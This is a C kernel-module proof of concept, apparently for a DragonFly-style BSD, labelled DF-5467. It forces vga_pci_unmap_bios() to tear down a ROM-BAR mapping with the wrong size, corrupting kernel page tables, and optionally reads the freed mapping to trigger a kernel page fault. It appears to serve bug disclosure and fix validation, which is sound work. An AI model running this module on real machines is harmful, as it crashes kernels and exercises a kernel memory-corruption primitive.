DF-5467 / df5467.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 | /* * DF-5467 PoC โ vga_pci_unmap_bios() shadow-path teardown of a ROM-BAR mapping * * Bug (sys/bus/pci/vga_pci.c): * - vga_pci_map_bios() picks the mapping kind by calling * vga_pci_is_boot_display(dev) at entry (vga_pci.c:175). * - On the ROM path it *itself* mutates the inputs of that predicate: * it sets PCIB_BCR_VGA_ENABLE on the parent bridge (vga_pci.c:197-201). * vga_pci_is_boot_display() also latches vga_pci_default_unit (>=0 is * sticky) on its first successful evaluation (vga_pci.c:94-101,139). * - vga_pci_unmap_bios() RE-EVALUATES the same predicate (vga_pci.c:288) * instead of remembering how the BIOS was mapped. If the answer flipped * from 0 (at map time) to 1 (at unmap time), it executes the shadow-copy * teardown: * pmap_unmapdev((vm_offset_t)bios, VGA_PCI_BIOS_SHADOW_SIZE) (:290) * on a pointer that is actually a ROM-BAR mapping of size * rman_get_size(res) โ typically 64K, never 128K โ so pmap_unmapdev() * clears PTEs and frees kernel_map VA over a 128KiB range * (sys/platform/pc64/x86_64/pmap.c:6223-6232: pmap_qremove + kmem_free). * The KASSERTs that would have validated the mapping (vga_pci.c:314-316) * sit *after* the early return and never run on this path. * It also leaks the ROM resource (vr_res/refs left set), so the next * vga_pci_map_bios() hands out the same kva whose PTEs are gone. * * Real-hardware trigger (no root needed โ it is drm attach-time state): * secondary GPU behind a PCI-PCI bridge with BCR.VGA_ENABLE clear (typical * for non-boot GPUs on UEFI/firmware that never enabled VGA routing), * vga_pci_default_unit still -1 (no boot display selected during probe), * GPU MEM/IO decoding on -> drm attach -> radeon_read_bios()/ * amdgpu map+unmap (sys/dev/drm/radeon/radeon_bios.c:86-104) flips the * predicate in between -> kernel PTE teardown + kernel_map VA corruption. * * QEMU-guest emulation of the trigger: * this guest's std VGA (0x1234:0x1111) hangs on the root bus (no PCI-PCI * bridge, so vga_pci.c:197-201 is a no-op here) and IS the boot display * (default_vgapci_unit=0). We emulate the *outcomes* of the firmware * state with the exact kernel-visible variables: * - map-time "not boot display": default_unit := 77 (>=0, != unit) โ * identical to vga_pci.c:100 returning 0; * - the flip between map and unmap: default_unit := -1 followed by * calling the kernel's own vga_pci_is_boot_display(dev), which latches * default_unit := 0 and returns 1 โ literally the same latch the * kernel performs (vga_pci.c:139) once map_bios has set the bridge * VGA-enable bit. * * Expected result: panic (kernel page fault) when touching the ROM mapping * right after the mismatched unmap โ proof that the shadow-path teardown * destroyed the ROM-BAR mapping's page tables. */ #include <sys/param.h> #include <sys/kernel.h> #include <sys/module.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/rman.h> #include <bus/pci/pcireg.h> #include <bus/pci/pcivar.h> extern int vga_pci_default_unit; /* sys/bus/pci/vga_pci.c:72 */ static device_t vga_dev; /* * DF's lazy pci_alloc_map() misclassifies a ROM BAR whose enable bit * survives the 0xffffffff sizing readback (PCI_BAR_IO(testval)==1), and DF * never pre-reserves the ROM BAR during enumeration (pci.c:2720-2751 stop at * BAR5), so vga_pci_map_bios()'s ROM path always fails here. Seed the * resource-list entry exactly as FreeBSD's enumeration does โ this also * emulates real bit0-masking hardware where the lazy path succeeds. We seed * at the firmware-programmed address so no BAR rebasing is involved. */ static int seed_rom_rle(void) { struct resource_list *rl; uint32_t saved, testval, mask; uint64_t base, romsz; saved = pci_read_config(vga_dev, PCIR_BIOS, 4); pci_write_config(vga_dev, PCIR_BIOS, 0xffffffff, 4); testval = pci_read_config(vga_dev, PCIR_BIOS, 4); pci_write_config(vga_dev, PCIR_BIOS, saved, 4); kprintf("DF5467: ROM BAR sizing readback testval=0x%08x " "(enable-bit readback => pci_alloc_map sees PCI_BAR_IO=%d)\n", testval, testval & 1); mask = testval & ~0x7ffU; if (mask == 0 || mask == 0xffffffffU) return (0); romsz = (u_long)(~mask) + 1; /* 0xffff0000 -> 0x10000 */ base = saved & ~0x7ffUL; rl = BUS_GET_RESOURCE_LIST(device_get_parent(vga_dev), vga_dev); if (rl == NULL) return (0); /* replace any stale entry (must have res == NULL) */ resource_list_delete(rl, SYS_RES_MEMORY, PCIR_BIOS); resource_list_add(rl, SYS_RES_MEMORY, PCIR_BIOS, (u_long)base, (u_long)(base + romsz - 1), (u_long)romsz, -1); kprintf("DF5467: seeded ROM rle rid=0x%x base=0x%jx size=0x%jx\n", PCIR_BIOS, (uintmax_t)base, (uintmax_t)romsz); return (1); } static void df5467_run(void) { unsigned long size; void *bios, *bios2; int saved_unit, is_boot, val; saved_unit = vga_pci_default_unit; kprintf("DF5467: start vgapci0=%p default_unit=%d hz=%d\n", vga_dev, vga_pci_default_unit, hz); if (!seed_rom_rle()) { kprintf("DF5467: no usable ROM BAR; cannot demo\n"); goto out; } /* * CONTROL: predicate returns 0 for BOTH map and unmap * (this is the correct pairing โ must be clean). */ vga_pci_default_unit = 77; bios = vga_pci_map_bios(vga_dev, (size_t *)&size); kprintf("DF5467: CONTROL map -> bios=%p size=0x%lx\n", bios, size); if (bios != NULL) { vga_pci_unmap_bios(vga_dev, bios); kprintf("DF5467: CONTROL unmap (ROM path) done\n"); bios = vga_pci_map_bios(vga_dev, (size_t *)&size); kprintf("DF5467: CONTROL remap-> bios=%p size=0x%lx\n", bios, size); if (bios != NULL) { vga_pci_unmap_bios(vga_dev, bios); kprintf("DF5467: CONTROL remap+unmap done (balanced)\n"); } } /* * BUG: map sees is_boot_display()==0, unmap sees 1. */ vga_pci_default_unit = 77; bios = vga_pci_map_bios(vga_dev, (size_t *)&size); kprintf("DF5467: BUG map -> bios=%p size=0x%lx (ROM-BAR path)\n", bios, size); if (bios == NULL) { kprintf("DF5467: map failed; cannot demo\n"); goto out; } /* * The flip. On bridged hardware vga_pci_map_bios() itself causes it * (vga_pci.c:197-201 sets PCIB_BCR_VGA_ENABLE; the next * vga_pci_is_boot_display() then passes and latches default_unit, * vga_pci.c:139). Here we perform the identical kernel-side latch. */ vga_pci_default_unit = -1; is_boot = vga_pci_is_boot_display(vga_dev); kprintf("DF5467: flip: is_boot_display=%d default_unit=%d\n", is_boot, vga_pci_default_unit); if (!is_boot) { kprintf("DF5467: flip failed; aborting\n"); goto out; } vga_pci_unmap_bios(vga_dev, bios); kprintf("DF5467: BUG unmap returned โ shadow-path pmap_unmapdev(ROM kva, 128K) ran\n"); /* * Primitive proof: the ROM mapping's own PTEs were cleared by * pmap_qremove() over the 128K shadow size. (On an UNFIXED kernel * this faults; on a FIXED kernel the unmap took the ROM path, which * also unmaps โ so this probe is only run when kenv df5467.touch=1.) */ if (kgetenv("df5467.touch") != NULL) { kprintf("DF5467: touching bios[0]=%p โ expect kernel page fault...\n", bios); val = *(volatile uint8_t *)bios; kprintf("DF5467: read bios[0]=0x%x WITHOUT fault (unexpected)\n", val); } /* * Leak discriminator (fix validation): on an unfixed kernel the ROM * resource is leaked (vr_res still cached) and this map hands back * the stale kva -> kernel page fault inside vga_pci_map_bios' poll * loop. On a fixed kernel the release above was a proper ROM-path * release and this remap must succeed cleanly. */ vga_pci_default_unit = 77; bios2 = vga_pci_map_bios(vga_dev, (size_t *)&size); kprintf("DF5467: post-bug remap -> %p size=0x%lx\n", bios2, (unsigned long)size); if (bios2 != NULL) { kprintf("DF5467: remap reads 0x55/0xaa = %02x/%02x (clean)\n", ((volatile uint8_t *)bios2)[0], ((volatile uint8_t *)bios2)[1]); vga_pci_unmap_bios(vga_dev, bios2); kprintf("DF5467: post-bug remap unmap done โ FIXED behavior\n"); } out: vga_pci_default_unit = saved_unit; kprintf("DF5467: done (default_unit restored to %d)\n", saved_unit); } static int df5467_modevent(struct module *m, int what, void *arg) { switch (what) { case MOD_LOAD: vga_dev = devclass_get_device(devclass_find("vgapci"), 0); if (vga_dev == NULL) { kprintf("DF5467: vgapci0 not found\n"); return (ENOENT); } df5467_run(); return (0); default: return (0); } } static moduledata_t df5467_mod = { "df5467", df5467_modevent, NULL }; DECLARE_MODULE(df5467, df5467_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE); MODULE_VERSION(df5467, 1); |